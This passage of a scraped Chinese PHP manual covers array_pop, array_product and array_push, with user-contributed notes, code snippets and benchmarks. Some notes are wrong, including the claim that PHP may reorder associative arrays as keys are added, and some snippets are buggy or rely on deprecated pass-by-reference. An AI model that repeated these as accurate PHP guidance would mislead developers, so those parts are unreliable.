$b = array(1229600459=>'large', 1229604787=>20, 1229609459=>'red');
print_r($b);
print_r(array_pad($b, 5, 'foo'));
?>

yields this:
------------------
Array
(
    [size] => large
    [number] => 20
    [color] => red
)
Array
(
    [size] => large
    [number] => 20
    [color] => red
    [0] => foo
    [1] => foo
)
Array
(
    [1229600459] => large
    [1229604787] => 20
    [1229609459] => red
)
Array
(
    [0] => large
    [1] => 20
    [2] => red
    [3] => foo
    [4] => foo
)
hk, StrApp Bussiness Solutions 08-Jan-2007 02:15
A simple example for array_pad()

the syntax is as follows: array_pad(array(), (+/-)int, value)

where "array" is the array to which the value is to be added,

"(+/-) int" is a value that decides the length of the array(it should be greater than the length of the array.
if its a negative number then the value will be added at the left of the array else it will be added to the right.

"values" denotes the value to be added to the array

lets try an example:

<?php

$digits = array();
$digits[0] = 1;
$digits[1] = 2;
$digits[2] = 3;
$arraypad = array_pad($digits, -4, "0");
print_r($arraypad);

?>

output:

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
oaev at mail dot ru 21-Oct-2004 11:48
Easy way to get an array contains 5 random numbers from 0 to 9:

$rand_arr = array_rand( array_pad( array(), 10, 1 ), 5 );
28-Feb-2004 09:00
One way to initialize a 20x20 multidimensional array.

<?php
$a = array();
$b = array();
$b = array_pad($b,20,0);
$a = array_pad($a,20,$b);
?>
mwwaygoo at hotmail dot com 16-Jan-2004 08:02
little older, a little wiser.

ksort() will order the array back into its normal order again
so:

<?php
$myArr = array(2 => 'two', 4 => 'four');

$newArr = array_pad(array(), 6, 'FILLED');
$newArr =$myArr+$newArr;
ksort($newArr);
?>

Will give :
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => FILLED [4] => four [5] => FILLED )
goffrie at sympatico dot ca 23-Mar-2003 05:06
To daarius - you mean you have...

[2]=>"two"
[3]=>"three"

and you want...

[0]=>"FILLED"
[1]=>"FILLED"
[2]=>"two"
[3]=>"three"
[4]=>"FILLED"
[5]=>"FILLED"

If so, then the following code...

<?php
$array = array(2 => "two", 3 => "three");
$array = array_pad($array, count($array)+2, "FILLED");
$num = -(count($array)+2);
$array = array_pad($array, $num, "FILLED");
print_r($array);
?>

will return:
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => three [4] => FILLED [5] => FILLED )
The ordering should be okay,...
mwwaygoo at hotmail dot com 19-Sep-2002 09:39
OR you could do this

<?php
$myArr = array(2 => 'three', 3 => 'four');

$newArr = array_pad(array(), 4, 'FILLED');
$newArr =$myArr+$newArr;
?>

This gives your desired result BUT the ordering is a little wierd, because of the order they were added. Indexes are okay though and that is what you wanted.

print_r($newArr) outputs
Array ( [2] => three [3] => four [0] => FILLED [1] => FILLED )

hope this helps
daarius at hotmail dot com 23-Jul-2002 07:36
yes that is true. But, if the index of the array is 2=two, 3=three

and i want 4 more keys to be filled. But, not just filled anywhere, but i want to maintain the key index.

so, i would like to have 0=FILLED, 1=FILLED ... 4=FILLED, 5=FILLED

now i got 4 more keys padded with my string.

We can do this "if" we know the missing keys, but if we dont, then it would be nice for array_pad() or perhaps some new function to do this?

obviously we can achive this by looping through the array using array_key_exists(), and if you dont find the key, simply create + fill it.
regards,
Daarius...
scott*hurring.com 19-Jul-2002 04:20
to the previous commenter -- if you read the manual entry, you'd see that a negative pad_size will put the pad values at the front of the array.


弹出数组最后一个单元（出栈）

  • ? array_pad
  • array_product ?
  • PHP Manual
  • 数组 函数
  • 弹出数组最后一个单元（出栈）

array_pop

(PHP 4, PHP 5, PHP 7, PHP 8)

array_pop — 弹出数组最后一个单元（出栈）

说明

array_pop(array &$array): mixed

array_pop() 弹出并返回 array 最后一个元素的值，并将 array 的长度减一。

Note: 使用此函数后会重置（reset()）array 指针。

参数

array

需要弹出栈的数组。

返回值

返回 array 最后一个元素的值。如果 array 是空，将会返回 null 。

示例

Example #1 array_pop() 例子

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
?>

经过此操作后，$stack 将只有 3 个单元：

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
)

并且 raspberry 将被赋给 $fruit。

参见

  • array_push() - 将一个或多个单元压入数组的末尾（入栈）
  • array_shift() - 将数组开头的单元移出数组
  • array_unshift() - 在数组开头插入一个或多个单元

User Contributed Notes

noreply at i-asm dot com 09-May-2021 11:18
Note that array_pop doesn't issue ANY warning or error if the array is already empty when you try to pop something from it. This is bizarre! And it will cause cascades of errors that are hard to resolve without knowing the real cause.

Rather than an error, it silently returns a NULL object, it appears, so in my case I ended up with warnings elsewhere about accessing elements of arrays with invalid indexes, as I was expecting to have popped an array. This behaviour (and the lack of any warning, when many trivial things are complained about verbosely) is NOT noted in the manual above. Popping an already empty stack should definitely trigger some sort of notice, to help debugging.

Sure, it's probably good practice to wrap the pop in an if (count($array)) but that should be suggested in the manual, if there's no error returned for trying something that should fail and obviously isn't expected to return a meaningful result.
Anonymous 28-Feb-2014 08:21
Strict Standards will be thrown out if you put exploded array in array_pop:
<?php
$a = array_pop(explode(",", "a,b,c"));
echo $a;
?>

You will see:
PHP Strict Standards:  Only variables should be passed by reference in - on line 2

Strict Standards: Only variables should be passed by reference in - on line 2
c

Notice that, you should assign a variable for function explode, then pass the variable reference into array_pop to avoid the Strict Standard warning.
elad dot yosifon at gmail dot com 10-Aug-2013 06:45
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
qeremy 07-Mar-2012 11:26
For the sake of array_unshift()
:)

<?php
function array_unpop(&$arr) {
    $args = func_get_args(); unset($args[0]);
    $tarr = array();
    foreach ($args as $arg) {
        $tarr[] = $arg;
    }
    $arr = array_merge($arr, $tarr);
}

$queue = array("orange", "banana");
array_unpop($queue, "apple", "raspberry");
print_r($queue);
?>

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)
mcgroovin at gmail dot com 23-Oct-2008 12:13
I wrote a simple function to perform an intersect on multiple (unlimited) arrays.

Pass an array containing all the arrays you want to compare, along with what key to match by.

<?php
function multipleArrayIntersect($arrayOfArrays, $matchKey)
{
    $compareArray = array_pop($arrayOfArrays);

    foreach($compareArray AS $key => $valueArray){
        foreach($arrayOfArrays AS $subArray => $contents){
            if (!in_array($compareArray[$key][$matchKey], $contents)){
                unset($compareArray[$key]);
            }
        }
    }

    return $compareArray;
}
?>
sonetti at hotmail dot com 05-Feb-2008 01:15
@smp_info
I think you are still tired. What would be wrong with:

<?php
$array = array('one', 'two', 'three', 'four');

//pop the last element off
array_pop($array);

//$array == array('one', 'two', 'three');
?>

As the documentation clearly notes, array_pop() not only returns the last element, but actually removes it from the array wich is passed by reference. Calling array_diff is a waste of resources.
Orsi 10-Jan-2008 07:05
Hi,

Here is a simple function which delete one element from the array (with value):
<?php
/*
* This function deletes the given element from a one-dimension array
* Parameters: $array:    the array (in/out)
*             $deleteIt: the value which we would like to delete
*             $useOldKeys: if it is false then the function will re-index the array (from 0, 1, ...)
*                          if it is true: the function will keep the old keys
* Returns true, if this value was in the array, otherwise false (in this case the array is same as before)
*/
function deleteFromArray(&$array, $deleteIt, $useOldKeys = FALSE)
{
    $tmpArray = array();
    $found = FALSE;
    foreach($array as $key => $value)
    {
        if($value !== $deleteIt)
        {
            if(FALSE === $useOldKeys)
            {
                $tmpArray[] = $value;
            }
            else
            {
                $tmpArray[$key] = $value;
            }
        }
        else
        {
            $found = TRUE;
        }
    }

    $array = $tmpArray;

    return $found;
}
?>

Maybe it will help somebody...
doyley3731 at gmail dot com 31-Oct-2007 04:37
I had a problem when using this function because my array was made up entirley of numbers, so I have made my own function.  Hopefully it will be useful to somebody.

function array_trim_end($array){

$num=count($array);
$num=$num-1;
unset($array[$num]);

return $array;
}
rmondragon at gmail dot com 07-Jun-2005 02:03
In a previous example ...
<?php
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>

This have a problem. if u unset the last value and then use
<?
array_unshift ( $array, array_shift ( $array ) );
?>

will return a :  Array ( [0] => )
so u can fix it using...

<?php
if (count($array) > 0) array_unshift ( $values, array_shift ( $values ) );
?>

good luck ;)
15-Dec-2004 08:29
strrchr is a lot more useful than the other example using array_pop for finding the extension of a file. For example:

<?php
$ext = strrchr($filename, ".");
?>

$ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "filename.tar.gz", then this construction will just return the last extension.
Alex Chac?n 28-Feb-2003 05:16
alex.chacon@terra.com
Hi
Here there is a function that delete a elemente from a array and re calculate indexes

<?php
function eliminarElementoArreglo ($array, $indice)
{
    if (array_key_exists($indice, $array))
    {
        $temp = $array[0];
        $array[0] = $array[$indice];
        $array[$indice] = $temp;
        array_shift($array);

        //reacomodamos ?ndices
        for ($i = 0 ; $i < $indice ; $i++)
        {
            $dummy = $array[$i];
            $array[$i] = $temp;
            $temp = $dummy;
        }
    }
    return $array;
}
?>


计算数组中所有值的乘积

  • ? array_pop
  • array_push ?
  • PHP Manual
  • 数组 函数
  • 计算数组中所有值的乘积

array_product

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_product — 计算数组中所有值的乘积

说明

array_product(array $array): int|float

array_product() 以整数或浮点数返回一个数组中所有值的乘积。

参数

array

这个数组。

返回值

以整数或浮点数返回一个数组中所有值的乘积。

示例

Example #1 array_product() 例子

<?php

$a = array(2, 4, 6, 8);
echo "product(a) = " . array_product($a) . "\n";
echo "product(array()) = " . array_product(array()) . "\n";

?>

以上示例会输出：

product(a) = 384
product(array()) = 1

User Contributed Notes

gergely dot lukacsy at streamnet dot hu 20-Mar-2023 03:38
Just a little correction for Andre D's answer: "(bool) array_product($array);" is equivalent with the conjunction of each array elements of $array, UNLESS the provided array is empty in which case array_product() will return 1, which will translate to boolean TRUE.

To mitigate this, you should expand the function with an additional check:

<?php

$result = !empty($check) && !!array_product($check);

?>
biziclop 30-Oct-2022 11:21
You can use array_product() to calculate the geometric mean of an array of numbers:

<?php
$a = [ 1, 10, 100 ];
$geom_avg = pow( array_product( $a ), 1 / count( $a ));
// = 9.999999999999998 ≈ 10
?>
bsr dot anwar at gmail dot com 05-Jun-2017 06:04
Here's how you can find a factorial of a any given number with help of range and array_product functions.

function factorial($num) {
    return array_product(range(1, $num));
}

printf("%d", factorial(5)); //120
Jimmy PHP 29-Apr-2014 07:55
array_product() can be used to implement a simple boolean AND search

<?php
$args = array('first_name'=>'Bill','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Brenda','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Victor','last_name'=>'Vulture');
$values[] = array('first_name'=>'Bill','last_name'=>'Blue Jay');
$values[] = array('first_name'=>'Bill','last_name'=>'Buzzard');

$result = search_for($values,$args);
var_dump($result);exit;

function search_for($array,$args) {
    $results = array();
    foreach ($array as $row) {
        $found = false;
        $hits = array();
        foreach ($row as $k => $v) {
            if (array_key_exists($k,$args)) $hits[$k] = ($args[$k] == $v);
        }

        $found = array_product($hits);
        if (!in_array($row,$results) && true == $found) $results[] = $row;
    }

    return $results;
}
?>

Output:

array (size=1)
  0 =>
    array (size=2)
      'first_name' => string 'Bill' (length=4)
      'last_name' => string 'Buzzard' (length=7)
Marcel G 28-Sep-2010 08:36
You can use array_product to calculate the factorial of n:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  return array_product( range( 1, $n ));
}
?>

If you need the factorial without having array_product available, here is one:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  for( $p++; $n; ) $p *= $n--;
  return $p;
}
?>
pqpqpq at wanadoo dot nl 17-Jan-2007 04:32
An observation about the _use_ of array_product with primes:

$a=$arrayOfSomePrimes=(2,3,11);
              // 2 being the first prime (these days)

$codeNum=array_product($a); // gives 66 (== 2*3*11)

echo "unique product(\$a) = " . array_product($a) . "\n";

The 66 can (only) be split into its original primes,
which can be transformed into their place in the row of primes (2,3,5,7,11,13,17,19...)  giving (1,2,3,4,5,6,7,8...)

The 66 gives the places {1,2,5} in the row of primes. The number "66" is unique as a code for {1,2,5}

So you can define the combination of table-columns {1,2,5} in "66". The bigger the combination, the more efficient in memory/transmission, the less in calculation.
Andre D 07-Aug-2006 01:56
This function can be used to test if all values in an array of booleans are TRUE.

Consider:

<?php

function outbool($test)
{
    return (bool) $test;
}

$check[] = outbool(TRUE);
$check[] = outbool(1);
$check[] = outbool(FALSE);
$check[] = outbool(0);

$result = (bool) array_product($check);
// $result is set to FALSE because only two of the four values evaluated to TRUE

?>

The above is equivalent to:

<?php

$check1 = outbool(TRUE);
$check2 = outbool(1);
$check3 = outbool(FALSE);
$check4 = outbool(0);

$result = ($check1 && $check2 && $check3 && $check4);

?>

This use of array_product is especially useful when testing an indefinite number of booleans and is easy to construct in a loop.


将一个或多个单元压入数组的末尾（入栈）

  • ? array_product
  • array_rand ?
  • PHP Manual
  • 数组 函数
  • 将一个或多个单元压入数组的末尾（入栈）

array_push

(PHP 4, PHP 5, PHP 7, PHP 8)

array_push — 将一个或多个单元压入数组的末尾（入栈）

说明

array_push(array &$array, mixed $value1, mixed $... = ?): int

array_push() 将 array 当成一个栈，并将传入的变量压入 array 的末尾。array 的长度将根据入栈变量的数目增加。和如下效果相同：

<?php
$array[] = $var;
?>
并对每个传入的值重复以上动作。

Note: 如果用 array_push() 来给数组增加一个单元，还不如用 $array[] = ，因为这样没有调用函数的额外负担。

Note: 如果第一个参数不是数组，array_push() 将发出一条警告。这和 $var[] 的行为不同，在 PHP 7.1.0 之前的版本中，后者将会新建一个数组。

参数

array

输入的数组。

value1

要压入 array 末尾的第一个值。

返回值

返回处理之后数组的元素个数。

更新日志

版本 | 说明
7.3.0 | 可以只用一个参数来调用此函数，之前版本中至少需要两个参数。

示例

Example #1 array_push() 例子

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>

以上示例会输出：

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)

参见

  • array_pop() - 弹出数组最后一个单元（出栈）
  • array_shift() - 将数组开头的单元移出数组
  • array_unshift() - 在数组开头插入一个或多个单元

User Contributed Notes

asma dot gi dot 14 at gmail dot com 12-Nov-2021 01:07
only variables could be passed by reference:
$arr = [1,2,3];
array_push(['a','b'],$arr) ; // error
array_push($arr,[1,2,3]) ; // correct
David Spector 20-Feb-2021 12:18
After using array_push you may wish to read the top (last) array element one or more times before using array_pop. To read the top array element efficiently, use the 'current' function.
David Spector 21-Nov-2020 07:05
A common operation when pushing a value onto a stack is to address the value at the top of the stack.

This can be done easily using the 'end' function:

<?php
$top=end($stack);
?>

Note: See the 'end' function for details about its side effect on the seldom used internal array pointer.
siqueiramoises14 at gmail dot com 02-Oct-2019 01:07
if you need to push a multidimensional numeric array into another, array push will push the hole array into a key of the first array, for example, let's imagine you have two arrays:

<?php
$array1 = [
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ]
];

$array2 = [
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ]
];

$array1[] = $array2;

//after that array1 will look like this:

[
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ],

    1 => [
        0 => [
            "key1" => "value2",
            "key2" => "value2"
        ]
]

// If you don't want that to happen here's a function to avoid that:

function array_push_indexes($array1, $array2){
    $lastKey = array_key_last($array1);
    for($i = 0; $i < count($array2); $i++){
        $KeyPosition = 1 + $i;
        $array1[$lastKey+$KeyPosition] = $array2[$i];
    }
    return $array1;
}

//Using the same example from before this function will return:

[
    0 => [
        "key1" => "value1",
        "key2" => "value2"
    ],

    1 => [
        "key1" => "value1",
        "key2" => "value2"
    ]
]

?>

P.S: the array_key_last function it's for PHP >= 7.3.0 see more here https://www.php.net/manual/en/function.array-key-last.php
P.A.Semi 13-Jun-2019 09:38
There is problem with pushing references to array, introduced in PHP 5.4 - did someone decide it is not needed?

In PHP 5.3 this could be used:

$A=array(); array_push($A,1); $c=2; array_push($A,&$c); print_r($A); $c=3; print_r($A);

Outputs correctly:

Array ( [0] => 1 [1] => 2 )
Array ( [0] => 1 [1] => 3 )

Think of Reference as a pointer in other languages...
This function is needed for example to push parameters for MySql query:

$params=array(); array_push($params,&$field1); array_push($params,&$field2); array_unshift($params,'ss');
call_user_func_array(array($Query,'bind_param'),$params);

This code causes fatal error in PHP 5.4 and depending on server configuration it may not even be reported why...

A workarround to allow pushing references to array is this:

$A=array(); $A[]=1; $c=2; $A[]=&$c; print_r($A); $c=3; print_r($A);

$params=array(); $params[]=&$field1; $params[]=&$field2; array_unshift($params,'ss');
call_user_func_array(array($Query,'bind_param'),$params);

(in actual code, the fields are specified dynamically and iterated in for-loop...)

This seems working both on PHP 5.3 and PHP 5.6 ...
Carlos Alberto B. Carucce 18-Jan-2019 04:34
This is how I add all the elements from one array to another:

<?php
$oneArray = ['d', 'e', 'f'];
$anotherArray = ['a', 'b', 'c'];

array_push($anotherArray, ...$oneArray);
//['a', 'b', 'c', 'd', 'e', 'f'];
yhusky at qq dot com 06-Jul-2018 05:52
There is a mistake in the note by egingell at sisna dot com 12 years ago. The tow dimensional array will output "d,e,f", not "a,b,c".

<?php
$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);
?>

The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => d
     [1] => e
     [2] => f
  )
)
gfuente at garrahan dot gov dot ar 20-Jan-2017 07:33
If the element to be pushed onto the end of array is an array you will receive the following error message:

Unknown Error, value: [8] Array to string conversion

I tried both: (and works, but with the warning message)

            $aRol = array( $row[0], $row[1], $row[2] );
            $aRoles[] = $aRol;

and
            array_push( $aRoles, $aRol);

The correct way:

            $cUnRol = implode("(",array( $row[0], $row[1], $row[2] ) );
            array_push( $aRoles, $cUnRol );

thanks.
colecooper2005 at icloud dot com 06-Nov-2016 06:44
When developing a pocketmine plugin, a good way to add stuff to a YAML table is

$table=$this->config->get("Table");
array_push($table, "New Value for table");
$this->config->set("Table", $table);
raat1979 at gmail dot com 23-Apr-2016 02:39
Unfortunately array_push returns the new number of items in the array
It does not give you the key of the item you just added, in numeric arrays you could do -1, you do however need to be sure that no associative key exists as that would break the assumption

It would have been better if array_push would have returned the key of the item just added like the below function
(perhaps a native variant would be a good idea...)

<?php

if(!function_exists('array_add')){
    function array_add(array &$array,$value /*[, $...]*/){
        $values = func_get_args();     //get all values
        $values[0]= &$array;        //REFERENCE!
        $org=key($array);              //where are we?
        call_user_func_array('array_push',$values);
        end($array);                 // move to the last item
        $key = key($array);         //get the key of the last item
        if($org===null){
            //was at eof, added something, move to it
            return $key;
        }elseif($org<(count($array)/2)){ //somewhere in the middle +/- is fine
            reset($array);
            while (key($array) !== $org) next($List);
        }else{
            while (key($array) !== $org) prev($List);
        }
        return $key;
    }
}
echo "<pre>\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "Taken array;";
print_r($pr);

echo "\npush 1 returns ".array_push($pr,1)."\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\npush 2 returns ".array_push($pr,1,2)."\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\n add 1 returns ".array_add($pr,2)."\n\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\n add 2 returns ".array_add($pr,1,2)."\n\n";
echo "<pre/>\n\n";
?>
Outputs:
Taken array;Array
(
    [foo] => bar
    [bar] => foo
)

push 1 returns 3
------------------------------------

push 2 returns 4
------------------------------------

 add 1 returns 0

------------------------------------

 add 2 returns 1
mrgreen dot webpost at gmail dot com 09-Mar-2016 02:11
Rodrigo de Aquino asserted that instead of using array_push to append to an associative array you can instead just do...

        $data[$key] = $value;

...but this is actually not true. Unlike array_push and even...

        $data[] = $value;

...Rodrigo's suggestion is NOT guaranteed to append the new element to the END of the array. For instance...

        $data['one'] = 1;
        $data['two'] = 2;
        $data['three'] = 3;
        $data['four'] = 4;

...might very well result in an array that looks like this...

       [ "four" => 4, "one" => 1, "three" => 3, "two" => 2 ]

I can only assume that PHP sorts the array as elements are added to make it easier for it to find a specified element by its key later. In many cases it won't matter if the array is not stored internally in the same order you added the elements, but if, for instance, you execute a foreach on the array later, the elements may not be processed in the order you need them to be.

If you want to add elements to the END of an associative array you should use the unary array union operator (+=) instead...

       $data['one'] = 1;
       $data += [ "two" => 2 ];
       $data += [ "three" => 3 ];
       $data += [ "four" => 4 ];

You can also, of course, append more than one element at once...

       $data['one'] = 1;
       $data += [ "two" => 2, "three" => 3 ];
       $data += [ "four" => 4 ];

Note that like array_push (but unlike $array[] =) the array must exist before the unary union, which means that if you are building an array in a loop you need to declare an empty array first...

       $data = [];
       for ( $i = 1; $i < 5; $i++ ) {
              $data += [ "element$i" => $i ];
       }

...which will result in an array that looks like this...

      [ "element1" => 1, "element2" => 2, "element3" => 3, "element4" => 4 ]
golddragon007 25-Mar-2015 10:51
I did a performance check, and I saw, if you push more than one value it can be faster the array push, that the normal $array[] version.

Case 1: $array[] = something;
Case 2: array_push($array, $value);
Case 3: array_push($array, $value1, $value2, $value3 [...]); $values are definied
Case 4: array_push($array, $value1, $value2, $value3 [...]); $values are definied, when $array is not empty
Case 5: Case1 + Case 3
Case 6: Result array contains some value (Case 4)
Case 7: Result array contains same value as the push array (Case 4)
-----------------------------------------------------------------------------------------------------------
~~~~~~~~~~~~ Case 1 ~~~~~~~~~~~~
Times: 0.0310 0.0300 0.0290 0.0340 0.0400 0.0440 0.0480 0.0550 0.0570 0.0570
Min: 0.0290
Max: 0.0570
Avg: 0.0425
~~~~~~~~~~~~ Case 2 ~~~~~~~~~~~~
Times: 0.3890 0.3850 0.3770 0.4110 0.4020 0.3980 0.4020 0.4060 0.4130 0.4200
Min: 0.3770
Max: 0.4200
Avg: 0.4003
~~~~~~~~~~~~ Case 3 ~~~~~~~~~~~~
Times: 0.0200 0.0220 0.0240 0.0340 0.0360 0.0410 0.0460 0.0500 0.0520 0.0520
Min: 0.0200
Max: 0.0520
Avg: 0.0377
~~~~~~~~~~~~ Case 4 ~~~~~~~~~~~~
Times: 0.0200 0.0250 0.0230 0.0260 0.0330 0.0390 0.0460 0.0510 0.0520 0.0520
Min: 0.0200
Max: 0.0520
Avg: 0.0367
~~~~~~~~~~~~ Case 5 ~~~~~~~~~~~~
Times: 0.0260 0.0250 0.0370 0.0360 0.0390 0.0440 0.0510 0.0520 0.0530 0.0560
Min: 0.0250
Max: 0.0560
Avg: 0.0419
~~~~~~~~~~~~ Case 6 ~~~~~~~~~~~~
Times: 0.0340 0.0280 0.0370 0.0410 0.0450 0.0480 0.0560 0.0580 0.0580 0.0570
Min: 0.0280
Max: 0.0580
Avg: 0.0462
~~~~~~~~~~~~ Case 7 ~~~~~~~~~~~~
Times: 0.0290 0.0270 0.0350 0.0410 0.0430 0.0470 0.0540 0.0540 0.0550 0.0550
Min: 0.0270
Max: 0.0550
Avg: 0.044

Tester code:
// Case 1
    $startTime = microtime(true);
    $array = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 2
    $startTime = microtime(true);
    $array = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        array_push($array, $x);
    }
    $endTime = microtime(true);

// Case 3
    $result = array();
    $array2 = array(&$result)+$array;
    $startTime = microtime(true);
    call_user_func_array("array_push", $array2);
    $endTime = microtime(true);

// Case 4
    $result = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $result[] = $x;
    }
    $array2 = array(&$result)+$array;
    $startTime = microtime(true);
    call_user_func_array("array_push", $array2);
    $endTime = microtime(true);

// Case 5
    $result = array();
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 6
    $result = array(1,2,3,4,5,6);
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 7
    $result = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $result[] = $x;
    }
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);
flobee 20-Nov-2013 01:25
Be warned using $array "+=" array(1,2,3) or union operations (http://php.net/manual/en/language.operators.array.php)

I think it worked in the past or i havent test it good enough. :-/
(once it worked, once [] was faster than array_push, the past :-D ):

php -r '$a = array(1,2); $a += array(3,4); print_r($a);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(3,4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(2=>3,3=>4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
Rodrigo de Aquino 30-Mar-2012 03:24
If you're going to use array_push() to insert a "$key" => "$value" pair into an array, it can be done using the following:

    $data[$key] = $value;

It is not necessary to use array_push.
Chicna 21-Mar-2012 10:14
I found a simple way to have an "array_push_array" function, without the references problem when we want to use call_user_func_array(), hope this help :

function array_push_array(array &$array)
{
    $numArgs = func_num_args();
    if(2 > $numArgs)
    {
      trigger_error(sprintf('%s: expects at least 2 parameters, %s given', __FUNCTION__, $numArgs), E_USER_WARNING);
      return false;
    }

    $values = func_get_args();
    array_shift($values);

    foreach($values as $v)
    {
      if(is_array($v))
      {
        if(count($v) > 0)
        {
          foreach($v as $w)
          {
            $array[] = $w;
          }
        }
      }
      else
      {
        $array[] = $v;
      }
    }

    return count($array);
}
yuri 30-Nov-2011 10:00
If you want to put an element to a specific position in an array, try this function.

<?php

function array_put_to_position(&$array, $object, $position, $name = null)
{
        $count = 0;
        $return = array();
        foreach ($array as $k => $v)
        {
                // insert new object
                if ($count == $position)
                {
                        if (!$name) $name = $count;
                        $return[$name] = $object;
                        $inserted = true;
                }
                // insert old object
                $return[$k] = $v;
                $count++;
        }
        if (!$name) $name = $count;
        if (!$inserted) $return[$name];
        $array = $return;
        return $array;
}
?>

Example :

<?php
$a = array(
 'a' => 'A',
 'b' => 'B',
 'c' => 'C',
);

print_r($a);
array_put_to_position($a, 'G', 2, 'g');
print_r($a);

/*
Array
(
    [a] => A
    [b] => B
    [c] => C
)
Array
(
    [a] => A
    [b] => B
    [g] => G
    [c] => C
)
*/
?>
aosojnik at gmail dot com 23-Nov-2009 02:56
If you want to preserve the keys in the array, use the following:

<?php
function array_pshift(&$array) {
    $keys = array_keys($array);
    $key = array_shift($keys);
    $element = $array[$key];
    unset($array[$key]);
    return $element;
}
?>
rarioj at gmail dot com 04-Oct-2009 06:44
This function "Returns the new number of elements in the array."

To find out the last index, use:

<?php
$count = array_push($array, $value);
$last_index = array_pop(array_keys($array));
?>
helpmepro1 at gmail dot com 13-Jan-2009 01:43
elegant php array combinations algorithm

<?

//by Shimon Dookin

function get_combinations(&$lists,&$result,$stack=array(),$pos=0)
{
 $list=$lists[$pos];
 if(is_array($list))
  foreach($list as $word)
  {
   array_push($stack,$word);
   if(count($lists)==count($stack))
    $result[]=$stack;
   else
    get_combinations($lists,$result,$stack,$pos+1);
   array_pop($stack);
  }
}

$wordlists= array( array("shimon","doodkin") , array("php programmer","sql programmer","mql metatrader programmer") );

get_combinations($wordlists,$combinations);

echo '<xmp>';
print_r($combinations);

?>
wesleys at opperschaap dot net 10-Oct-2008 12:58
A function which mimics push() from perl, perl lets you push an array to an array: push(@array, @array2, @array3). This function mimics that behaviour.

<?php

function array_push_array(&$arr) {
    $args = func_get_args();
    array_shift($args);

    if (!is_array($arr)) {
        trigger_error(sprintf("%s: Cannot perform push on something that isn't an array!", __FUNCTION__), E_USER_WARNING);
        return false;
    }

    foreach($args as $v) {
        if (is_array($v)) {
            if (count($v) > 0) {
                array_unshift($v, &$arr);
                call_user_func_array('array_push',  $v);
            }
        } else {
            $arr[] = $v;
        }
    }
    return count($arr);
}

$arr = array(0);
$arr2  = array(6,7,8);
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));
print_r($arr);

# error..
$arr = "test";
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));

?>
willdemaine at gmail dot com 07-Aug-2008 07:00
If you're adding multiple values to an array in a loop, it's faster to use array_push than repeated [] = statements that I see all the time:

<?php
class timer
{
        private $start;
        private $end;

        public function timer()
        {
                $this->start = microtime(true);
        }

        public function Finish()
        {
                $this->end = microtime(true);
        }

        private function GetStart()
        {
                if (isset($this->start))
                        return $this->start;
                else
                        return false;
        }

        private function GetEnd()
        {
                if (isset($this->end))
                        return $this->end;
                else
                        return false;
        }

        public function GetDiff()
        {
                return $this->GetEnd() - $this->GetStart();
        }

        public function Reset()
        {
                $this->start = microtime(true);
        }

}

echo "Adding 100k elements to array with []\n\n";
$ta = array();
$test = new Timer();
for ($i = 0; $i < 100000; $i++)
{
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push\n\n";
$test->Reset();
for ($i = 0; $i < 100000; $i++)
{
        array_push($ta,$i);
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with [] 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push 10 per iteration\n\n";
$test->Reset();
